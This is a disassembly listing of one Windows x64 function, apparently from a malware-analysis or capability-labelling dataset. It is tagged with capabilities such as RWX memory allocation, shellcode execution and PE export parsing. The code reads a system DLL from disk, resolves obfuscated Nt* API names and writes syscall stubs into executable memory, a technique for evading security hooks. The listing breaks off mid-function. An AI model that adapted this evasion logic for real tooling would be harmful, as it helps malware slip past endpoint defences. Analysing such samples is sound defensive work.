Function at 0x40352b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x2e10
call fcn.004144d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.004135d0
mov dword [rbp + 0xbc], 0
mov qword [rbp + 0xb0], 0
mov rax, qword [0x00816828]
mov qword [rbp + 0xa0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2d78], eax
mov eax, dword [rbp + 0x2d78]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2d70], rax
mov rax, qword [rbp + 0x2d70]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2d68], rax
mov rax, qword [rbp + 0x2d68]
add rax, 0x17
mov qword [rbp + 0x2d60], rax
mov rax, qword [rbp + 0x2d60]
add rax, 0x17
mov qword [rbp + 0x2d58], rax
mov rax, qword [rbp + 0x2d58]
add rax, 0x17
mov qword [rbp + 0x2d50], rax
mov rax, qword [rbp + 0x2d50]
add rax, 0x17
mov qword [rbp + 0x2d48], rax
mov rax, qword [rbp + 0x2d48]
add rax, 0x17
mov qword [rbp + 0x2d40], rax
mov rax, qword [rbp + 0x2d40]
add rax, 0x17
mov qword [rbp + 0x2d38], rax
mov rax, qword [rbp + 0x2d38]
add rax, 0x17
mov qword [rbp + 0x2d30], rax
mov rax, qword [rbp + 0x2d30]
add rax, 0x17
mov qword [rbp + 0x2d28], rax
mov rax, qword [rbp + 0x2d28]
add rax, 0x17
mov qword [rbp + 0x2d20], rax
mov rax, qword [rbp + 0x2d20]
add rax, 0x17
mov qword [rbp + 0x2d18], rax
mov rax, qword [rbp + 0x2d18]
add rax, 0x17
mov qword [rbp + 0x2d10], rax
mov rax, qword [rbp + 0x2d10]
add rax, 0x17
mov qword [rbp + 0x2d08], rax
mov rax, qword [rbp + 0x2d08]
add rax, 0x17
mov qword [rbp + 0x2d00], rax
mov rax, qword [rbp + 0x2d00]
add rax, 0x17
mov qword [rbp + 0x2cf8], rax
mov rax, qword [rbp + 0x2cf8]
add rax, 0x17
mov qword [rbp + 0x2cf0], rax
mov rax, qword [rbp + 0x2cf0]
add rax, 0x17
mov qword [rbp + 0x2ce8], rax
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0x90], 0
mov word [rbp + 0x94], 0
mov byte [rbp + 0x96], 0
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x2ce0], 0
mov dword [rbp + 0x2cdc], 0
mov dword [rbp + 0x78], 0
mov qword [rbp + 0x2cd0], 0
mov rax, qword [rbp + 0x2d68]
mov qword [0x00846048], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d60]
mov qword [0x00846050], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d58]
mov qword [0x00846058], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d50]
mov qword [0x00846060], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d48]
mov qword [0x00846068], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d40]
mov qword [0x00846070], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d38]
mov qword [0x00846078], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d30]
mov qword [0x00846080], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d28]
mov qword [0x00846088], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d20]
mov qword [0x00846090], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d18]
mov qword [0x00846098], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d10]
mov qword [0x008460a0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d08]
mov qword [0x008460a8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d00]
mov qword [0x008460b0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cf8]
mov qword [0x008460b8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2cf8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cf0]
mov qword [0x008460c0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2cf0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ce8]
mov qword [0x008460c8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2ce8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x0081add1]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2ce0], rax
mov rax, qword [rbp + 0x2ce0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2cdc], eax
mov esi, dword [rbp + 0x2cdc]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2cd0], rax
lea r8, [rbp + 0x78]
mov ecx, dword [rbp + 0x2cdc]
mov rdx, qword [rbp + 0x2cd0]
mov rax, qword [rbp + 0x2ce0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2cd0]
mov qword [rbp + 0x2cc8], rax
mov rax, qword [rbp + 0x2cc8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2cd0]
add rax, rdx
mov qword [rbp + 0x2cc0], rax
mov rax, qword [rbp + 0x2cc0]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2cbc], eax
mov rax, qword [rbp + 0x2cc0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2cc0]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2d88], rax
mov rax, qword [rbp + 0x2d88]
mov qword [rbp + 0x2cb0], rax
mov rax, qword [rbp + 0x2d88]
mov qword [rbp + 0x2d80], rax
mov dword [rbp + 0x2d7c], 0
mov rax, qword [rbp + 0x2cc0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2d7c], eax
jge 0x403c46
mov rax, qword [rbp + 0x2d88]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x403c35
mov rax, qword [rbp + 0x2d88]
mov qword [rbp + 0x2d80], rax
jmp 0x403c46
add qword [rbp + 0x2d88], 0x28
add dword [rbp + 0x2d7c], 1
jmp 0x403bf5
mov edx, dword [rbp + 0x2cbc]
mov rax, qword [rbp + 0x2cd0]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2d80]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x2ca8], rax
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x360]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x0081adfa]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x0081ae06]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x0081ae0e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0xc0]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x2d68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x4040e6
lea rsi, [0x0081ae14]
jmp 0x4040ed
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x63f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x63f]
lea rax, [rbp + 0x610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x0081ae06]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x0081ae0e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x63f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x640]
mov rcx, qword [rbp + 0x2d60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x404525
lea rsi, [0x0081ae14]
jmp 0x40452c
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x92f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x92f]
lea rax, [rbp + 0x900]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x8e0]
lea rdx, [rbp + 0x900]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x0081ae34]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x0081ae06]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x0081ae0e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x660]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x900]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x92f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x930]
mov rcx, qword [rbp + 0x2d58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x4049bc
lea rsi, [0x0081ae14]
jmp 0x4049c3
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xb5f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0xb5f]
lea rax, [rbp + 0xb30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x0081ae36]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x0081ae3e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x950]
